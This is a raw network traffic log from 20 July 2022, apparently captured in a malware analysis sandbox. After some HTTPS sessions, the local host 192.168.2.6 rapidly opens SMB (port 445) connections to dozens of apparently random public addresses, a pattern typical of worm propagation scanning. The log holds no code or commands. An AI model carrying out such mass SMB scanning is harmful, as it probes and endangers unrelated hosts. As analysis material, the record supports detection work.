Jul 20, 2022 06:05:59.934253931 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.934365034 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.937519073 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:59.937537909 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.989334106 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:59.989989042 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.016940117 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.016957998 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.020585060 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.020592928 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.039959908 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.039993048 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.040011883 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.040059090 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.040090084 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.040110111 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.040175915 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.055217981 CEST	49807	445	192.168.2.6	53.192.44.28
Jul 20, 2022 06:06:00.055234909 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.055349112 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.055373907 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.055427074 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.059642076 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.059669018 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.059783936 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.059808969 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.059860945 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.060986042 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.061057091 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.061110020 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.061147928 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.062247038 CEST	49804	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.062269926 CEST	443	49804	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.064562082 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.064600945 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.066015005 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.070616961 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.070648909 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.122945070 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.123148918 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.161068916 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.161087036 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.190583944 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.190608978 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.211083889 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.211128950 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.211154938 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.211242914 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.211268902 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.211334944 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.230726004 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.230771065 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.230865955 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.230882883 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.230902910 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.231026888 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.237056971 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.237101078 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.237165928 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.237184048 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.237215996 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.237243891 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.240025997 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.240093946 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.240201950 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.240238905 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.240277052 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.240312099 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.250041008 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.250089884 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.250237942 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.250261068 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.255842924 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.257129908 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.257174969 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.257287979 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.257314920 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.257375002 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.258639097 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.258770943 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.262212992 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.262253046 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.262315989 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.262343884 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.262362003 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.262442112 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.267967939 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.268032074 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.268084049 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.268131018 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.268205881 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.289769888 CEST	49810	445	192.168.2.6	180.214.215.68
Jul 20, 2022 06:06:00.308460951 CEST	49808	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.308506012 CEST	443	49808	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.606827021 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.606870890 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.607562065 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.607945919 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.607966900 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.662025928 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.662076950 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.662170887 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.667836905 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.671889067 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.687370062 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.687388897 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.688806057 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.688818932 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.689245939 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.689282894 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.707335949 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.707391024 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.707504988 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.707832098 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.707849026 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.710741997 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.710792065 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.710817099 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.710892916 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.710911989 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.710961103 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.710968018 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.711029053 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.711815119 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.711894989 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.711896896 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.713553905 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.717665911 CEST	49815	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.717691898 CEST	443	49815	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.743923903 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.744005919 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.744709969 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.744724035 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.746042967 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.746051073 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.760164976 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.760318995 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.779263020 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.779289961 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.779311895 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.779453993 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.779472113 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.779515028 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.779556990 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.798105955 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.798137903 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.798206091 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.798218012 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.798254013 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.798284054 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.798295021 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.798310041 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.798341036 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.803339005 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.803395987 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.803471088 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.803481102 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.803554058 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.805980921 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.806052923 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.806123018 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.806133986 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.806163073 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.806186914 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.813294888 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.813322067 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.814547062 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.814555883 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.815741062 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.815846920 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.815861940 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.815916061 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.815924883 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.815978050 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.820076942 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.820122004 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.820168972 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.820177078 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.820242882 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.822133064 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.822237015 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.826019049 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.826045036 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.826154947 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.826164961 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.826210976 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.827789068 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.827888966 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.828746080 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.828830004 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.828836918 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.828882933 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.831794977 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.831820965 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.831882000 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.831923962 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.831962109 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.929162025 CEST	49816	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.929186106 CEST	443	49816	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:00.936739922 CEST	49817	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:06:00.936784983 CEST	443	49817	23.211.6.115	192.168.2.6
Jul 20, 2022 06:06:01.012053967 CEST	49820	445	192.168.2.6	62.195.122.97
Jul 20, 2022 06:06:01.180514097 CEST	49823	445	192.168.2.6	196.81.56.42
Jul 20, 2022 06:06:01.419970036 CEST	49827	445	192.168.2.6	61.253.114.228
Jul 20, 2022 06:06:01.838304043 CEST	49832	445	192.168.2.6	26.240.205.165
Jul 20, 2022 06:06:02.133506060 CEST	49836	445	192.168.2.6	73.183.2.207
Jul 20, 2022 06:06:02.333619118 CEST	49839	445	192.168.2.6	77.15.119.213
Jul 20, 2022 06:06:02.542177916 CEST	49842	445	192.168.2.6	26.88.227.149
Jul 20, 2022 06:06:03.002130032 CEST	49847	445	192.168.2.6	196.168.250.156
Jul 20, 2022 06:06:03.362966061 CEST	49850	445	192.168.2.6	141.240.225.81
Jul 20, 2022 06:06:03.478257895 CEST	49853	445	192.168.2.6	153.235.46.94
Jul 20, 2022 06:06:03.667609930 CEST	49856	445	192.168.2.6	140.207.51.68
Jul 20, 2022 06:06:03.922060013 CEST	49859	445	192.168.2.6	109.107.1.211
Jul 20, 2022 06:06:04.562905073 CEST	49862	445	192.168.2.6	19.236.202.171
Jul 20, 2022 06:06:04.585685015 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.585733891 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.585967064 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.646759987 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.646791935 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.665590048 CEST	49866	445	192.168.2.6	208.249.106.248
Jul 20, 2022 06:06:04.666110039 CEST	49867	445	192.168.2.6	203.161.211.27
Jul 20, 2022 06:06:04.708853960 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.709239960 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.709719896 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.709950924 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.801064014 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.801085949 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.801441908 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.801508904 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.802587986 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.802639008 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.802653074 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.802721977 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.802782059 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.802917004 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.802959919 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.803107977 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.803152084 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.873110056 CEST	49869	445	192.168.2.6	139.14.95.66
Jul 20, 2022 06:06:04.924753904 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.924869061 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.924981117 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.926306009 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.968506098 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.968583107 CEST	443	49864	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:04.968647957 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:04.968688011 CEST	49864	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:05.114742994 CEST	49873	445	192.168.2.6	182.245.3.151
Jul 20, 2022 06:06:06.603598118 CEST	49876	445	192.168.2.6	82.158.109.57
Jul 20, 2022 06:06:06.604091883 CEST	49877	445	192.168.2.6	154.53.161.160
Jul 20, 2022 06:06:06.604691029 CEST	49878	445	192.168.2.6	184.119.250.158
Jul 20, 2022 06:06:06.605207920 CEST	49879	445	192.168.2.6	22.241.71.229
Jul 20, 2022 06:06:06.605712891 CEST	49880	445	192.168.2.6	20.196.107.85
Jul 20, 2022 06:06:06.616200924 CEST	49882	445	192.168.2.6	87.44.174.80
Jul 20, 2022 06:06:07.742062092 CEST	49894	445	192.168.2.6	64.67.224.245
Jul 20, 2022 06:06:07.742939949 CEST	49895	445	192.168.2.6	129.113.192.86
Jul 20, 2022 06:06:07.743505001 CEST	49896	445	192.168.2.6	48.109.224.18
Jul 20, 2022 06:06:07.744271040 CEST	49897	445	192.168.2.6	79.126.76.194
Jul 20, 2022 06:06:07.744824886 CEST	49898	445	192.168.2.6	115.194.100.246
Jul 20, 2022 06:06:07.745393991 CEST	49899	445	192.168.2.6	140.135.29.194
Jul 20, 2022 06:06:08.748703957 CEST	49910	445	192.168.2.6	43.160.244.159
Jul 20, 2022 06:06:08.866729021 CEST	49912	445	192.168.2.6	204.33.122.132
Jul 20, 2022 06:06:08.897350073 CEST	49913	445	192.168.2.6	39.170.204.113
Jul 20, 2022 06:06:08.898164988 CEST	49914	445	192.168.2.6	136.72.86.144
Jul 20, 2022 06:06:08.898555040 CEST	49916	445	192.168.2.6	39.69.159.62
Jul 20, 2022 06:06:08.898559093 CEST	49915	445	192.168.2.6	71.120.125.248
Jul 20, 2022 06:06:08.898605108 CEST	49917	445	192.168.2.6	50.155.62.120
Jul 20, 2022 06:06:09.853694916 CEST	49928	445	192.168.2.6	195.209.146.143
Jul 20, 2022 06:06:10.011250973 CEST	49930	445	192.168.2.6	62.171.52.151
Jul 20, 2022 06:06:10.011810064 CEST	49931	445	192.168.2.6	30.47.42.201
Jul 20, 2022 06:06:10.011946917 CEST	49932	445	192.168.2.6	160.59.141.22
Jul 20, 2022 06:06:10.012017012 CEST	49933	445	192.168.2.6	148.141.222.187
Jul 20, 2022 06:06:10.012171984 CEST	49934	445	192.168.2.6	189.183.252.49
Jul 20, 2022 06:06:10.012304068 CEST	49935	445	192.168.2.6	61.31.7.127
Jul 20, 2022 06:06:10.750924110 CEST	49945	445	192.168.2.6	47.225.125.40
Jul 20, 2022 06:06:10.993638039 CEST	49948	445	192.168.2.6	124.215.131.177
Jul 20, 2022 06:06:11.134248972 CEST	49951	445	192.168.2.6	50.25.96.19
Jul 20, 2022 06:06:11.134793997 CEST	49952	445	192.168.2.6	31.250.231.20
Jul 20, 2022 06:06:11.135586023 CEST	49953	445	192.168.2.6	94.80.158.212
Jul 20, 2022 06:06:11.136168003 CEST	49954	445	192.168.2.6	138.149.21.41
Jul 20, 2022 06:06:11.136761904 CEST	49955	445	192.168.2.6	87.190.120.235
Jul 20, 2022 06:06:11.137510061 CEST	49956	445	192.168.2.6	50.188.174.56
Jul 20, 2022 06:06:11.871135950 CEST	49964	445	192.168.2.6	81.139.52.107
Jul 20, 2022 06:06:12.104147911 CEST	49967	445	192.168.2.6	49.33.232.37
Jul 20, 2022 06:06:12.247555971 CEST	49970	445	192.168.2.6	222.8.115.187
Jul 20, 2022 06:06:12.248219967 CEST	49971	445	192.168.2.6	131.56.151.164
Jul 20, 2022 06:06:12.249437094 CEST	49972	445	192.168.2.6	124.135.216.227
Jul 20, 2022 06:06:12.250463963 CEST	49973	445	192.168.2.6	122.158.23.86
Jul 20, 2022 06:06:12.251491070 CEST	49974	445	192.168.2.6	118.201.139.214
Jul 20, 2022 06:06:12.251779079 CEST	49975	445	192.168.2.6	211.87.92.252
Jul 20, 2022 06:06:12.521363020 CEST	445	49974	118.201.139.214	192.168.2.6
Jul 20, 2022 06:06:12.760442972 CEST	49982	445	192.168.2.6	203.65.203.211
Jul 20, 2022 06:06:13.017261028 CEST	49984	445	192.168.2.6	156.161.143.34
Jul 20, 2022 06:06:13.055526018 CEST	49974	445	192.168.2.6	118.201.139.214
Jul 20, 2022 06:06:13.229326963 CEST	49987	445	192.168.2.6	21.6.230.206
Jul 20, 2022 06:06:13.324006081 CEST	445	49974	118.201.139.214	192.168.2.6
Jul 20, 2022 06:06:13.369878054 CEST	49990	445	192.168.2.6	54.249.63.227
Jul 20, 2022 06:06:13.370569944 CEST	49991	445	192.168.2.6	158.56.19.120
Jul 20, 2022 06:06:13.371262074 CEST	49992	445	192.168.2.6	173.102.98.110
Jul 20, 2022 06:06:13.371975899 CEST	49993	445	192.168.2.6	24.99.231.5
Jul 20, 2022 06:06:13.372629881 CEST	49994	445	192.168.2.6	202.76.129.129
Jul 20, 2022 06:06:13.373281956 CEST	49995	445	192.168.2.6	223.37.90.248
Jul 20, 2022 06:06:13.876210928 CEST	50002	445	192.168.2.6	39.34.3.100
Jul 20, 2022 06:06:14.151106119 CEST	50005	445	192.168.2.6	148.22.101.111
Jul 20, 2022 06:06:14.353415012 CEST	50008	445	192.168.2.6	141.152.169.196
Jul 20, 2022 06:06:14.523649931 CEST	50012	445	192.168.2.6	89.58.148.201
Jul 20, 2022 06:06:14.532130003 CEST	50013	445	192.168.2.6	84.180.217.122
Jul 20, 2022 06:06:14.533588886 CEST	50014	445	192.168.2.6	73.92.80.167
Jul 20, 2022 06:06:14.533631086 CEST	50015	445	192.168.2.6	138.247.235.9
Jul 20, 2022 06:06:14.533701897 CEST	50016	445	192.168.2.6	30.250.113.45
Jul 20, 2022 06:06:14.533737898 CEST	50017	445	192.168.2.6	32.51.36.56
Jul 20, 2022 06:06:14.768471956 CEST	50020	445	192.168.2.6	216.169.204.248
Jul 20, 2022 06:06:14.994450092 CEST	50024	445	192.168.2.6	14.68.160.68
Jul 20, 2022 06:06:15.298789978 CEST	50027	445	192.168.2.6	36.30.217.101
Jul 20, 2022 06:06:15.496901035 CEST	50031	445	192.168.2.6	158.244.131.25
Jul 20, 2022 06:06:15.618963957 CEST	50034	445	192.168.2.6	211.179.40.196
Jul 20, 2022 06:06:15.651019096 CEST	50035	445	192.168.2.6	67.48.233.197
Jul 20, 2022 06:06:15.652357101 CEST	50037	445	192.168.2.6	42.203.17.71
Jul 20, 2022 06:06:15.652385950 CEST	50036	445	192.168.2.6	192.231.82.112
Jul 20, 2022 06:06:15.652473927 CEST	50038	445	192.168.2.6	2.73.111.203
Jul 20, 2022 06:06:15.652498960 CEST	50039	445	192.168.2.6	36.38.180.184
Jul 20, 2022 06:06:15.885325909 CEST	50042	445	192.168.2.6	145.202.154.244
Jul 20, 2022 06:06:16.103776932 CEST	50045	445	192.168.2.6	4.93.140.72
Jul 20, 2022 06:06:16.465245962 CEST	50049	445	192.168.2.6	89.9.201.143
Jul 20, 2022 06:06:16.620122910 CEST	50052	445	192.168.2.6	184.24.95.215
Jul 20, 2022 06:06:16.743983984 CEST	50055	445	192.168.2.6	24.148.243.193
Jul 20, 2022 06:06:16.776186943 CEST	50056	445	192.168.2.6	110.122.121.203
Jul 20, 2022 06:06:16.777401924 CEST	50057	445	192.168.2.6	48.253.69.89
Jul 20, 2022 06:06:16.777445078 CEST	50058	445	192.168.2.6	218.144.118.97
Jul 20, 2022 06:06:16.777504921 CEST	50059	445	192.168.2.6	78.52.41.18
Jul 20, 2022 06:06:16.777555943 CEST	50060	445	192.168.2.6	74.107.243.245
Jul 20, 2022 06:06:16.779228926 CEST	50061	445	192.168.2.6	104.96.207.207
Jul 20, 2022 06:06:17.011637926 CEST	50066	445	192.168.2.6	77.224.201.109
